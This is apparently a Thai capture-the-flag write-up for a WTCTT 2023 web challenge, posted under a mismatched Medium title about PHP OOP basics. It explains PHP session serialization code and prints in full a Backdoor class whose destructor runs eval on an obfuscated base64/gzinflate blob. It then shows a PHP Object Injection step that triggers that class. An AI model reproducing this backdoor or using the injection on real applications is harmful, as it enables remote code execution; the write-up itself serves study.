พื้นฐานPHP ตอนที่ 6 — PHP OOP. PHP เขียนแบบ OOP (Object-Oriented… | by Maji Pornmasa Namtirach | Medium

  • function store_session
function store_session($user, $pass)
{
    $sess = new sessionn($user, $pass);
    $data = serialize($sess);
    $data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);

    $_SESSION["username"] = $user;
    $_SESSION["data"] = $data;
    return uniqid('wtctt2023_04');
}

Ar3mus : ถัดมา function store_session มีการทำงานดังนี้ครับ

  • สร้าง object sessionn จาก $user และ $pass ที่ได้รับ

  • ทำการ serialize object เพื่อแปลงข้อมูลเป็น str

  • แทนที่ null values ด้วย _🍜_ เพื่อป้องกันการเก็บข้อมูล null

  • กำหนดค่า $_SESSION["username"] และ $_SESSION["data"]

  • ส่งคืนค่า uniqid ที่สร้างขึ้น

src : https://select2web.com/serialize-php-function/

สร้าง ID ที่ไม่ซ้ำแบบสุ่มด้วย PHP (eferrit.com)

  • function load_sessionn()
function load_sessionn()
{
    $data = $_SESSION["data"];
    return str_replace('_🍜_', chr(0) . '*' . chr(0), $data);
}

Ar3mus : ถัดมา function load_sessionn() มีการทำงานดังนี้ครับ

  • ดึงข้อมูลจาก $_SESSION["data"]

  • แทนที่ _🍜_ ด้วย null values ในเตรียมสำหรับการใช้ unserialize

src : ฟังก์ชั่น unserialize() : ใช้ในการสร้างค่า PHP จากการแสดงค่าที่ถูกเก็บไว้ (mindphp.com)

  • class Backdoor
class Backdoor
{
    function __destruct()
    {
        if ($this->destruct == '🍜') {
            eval(gzinflate(base64_decode(strrev('...'))));
        }
    }
}

Ar3mus : สุดท้ายในส่วนของ class Backdoor เป็นคลาสที่มี method __destruct ที่จะถูกเรียกเมื่อ object ถูกทำลาย

  • ตรวจสอบว่า $this->destruct เท่ากับ '🍜' แล้วให้ทำการ evaluate โค้ดที่ถูกบีบอัดและเข้ารหัส Base64

src : คอนสตรักเตอร์และดีสตรักเตอร์ใน PHP OOP แตกต่างกันอย่างไร (mindphp.com)

Ar3mus : สรุปเเล้วในการทำงานของโค้ดนี้จะจัดเก็บ session และมีฟังก์ชันที่เกี่ยวข้องกับการปรับแต่งการเก็บข้อมูลใน session โดยใช้สตริง '🍜' แทนที่ null values เพื่อป้องกันปัญหาในการ serialize และ unserialize ข้อมูล session ซึ่ง class Backdoor จะเป็นฟังก์ชันที่ไม่ได้ถูกเรียกใช้ ครับ

Ar3mus : ต่อมาในขั้นตอนที่สองครับ Research & Exploitation โดยจากที่เราได้วิเคราะห์ code เราสามารถใช้ ท่าโจมตีอย่าง PHP Object Injection โดยทำการดึง class Backdoor มาใช้ เเล้วทำการแทรก object ก่อนที่ function load_sessionn() จะทำการ unserialize ครับ

Ar3mus : ที่นี้เรามาลอง เขียน php script ดูว่า class sessionn จะเเปลงเป็น serialize object หน้าตายังไงครับ

<?php
// Start the session
session_start();

// Define the sessionn class
class sessionn
{
    protected $user;
    protected $pass;

    function __construct($user, $pass)
    {
        $this->user = $user;
        $this->pass = $pass;
    }
}

// Function to store session data
function store_session($user, $pass)
{
    $sess = new sessionn($user, $pass);
    $data = serialize($sess);
    $data = str_replace(chr(0) . '*' . chr(0), '_🍜_', $data);

    $_SESSION["data"] = $data;
}

// Call the function to store session data
$user = "admin";
$pass = "password";
store_session($user, $pass);

// Output the session data (after storing)
echo $_SESSION["data"];
?>

O:8:"sessionn":2:{s:7:"_🍜_user";s:5:"admin";s:7:"_🍜_pass";s:8:"password";}

Ar3mus : หลังจากนั้นเราลองนำ class Backdoor มาใช้เเทนครับ

<?php
class Backdoor
{
    public $destruct;

    function __construct($destruct)
    {
        $this->destruct = $destruct;
    }

    function __destruct()
    {
        if ($this->destruct == '🍜') {
            eval(gzinflate(base64_decode(strrev('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'))));
        }
    }
}

// Create an instance of the Backdoor class
$backdoorInstance = new Backdoor('🍜');

// Serialize the Backdoor class
$serializedBackdoor = serialize($backdoorInstance);

// Output the serialized data
echo $serializedBackdoor;
?>

O:8:"Backdoor":1:{s:8:"destruct";s:4:"🍜";}
cat: /flag.txt: No such file or directory

Ar3mus : จะเห็นว่าเราเรียกใช้ class Backdoor ได้เเล้วว


⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠀⠀⠀⠀⠀
        ⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋   ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀  ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀  ⢿⣿⣿⣿⡟ Ar3mus@ WTCTT 2023 qualifying round : Web Challenges
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄   ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀  ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀  ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀   ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀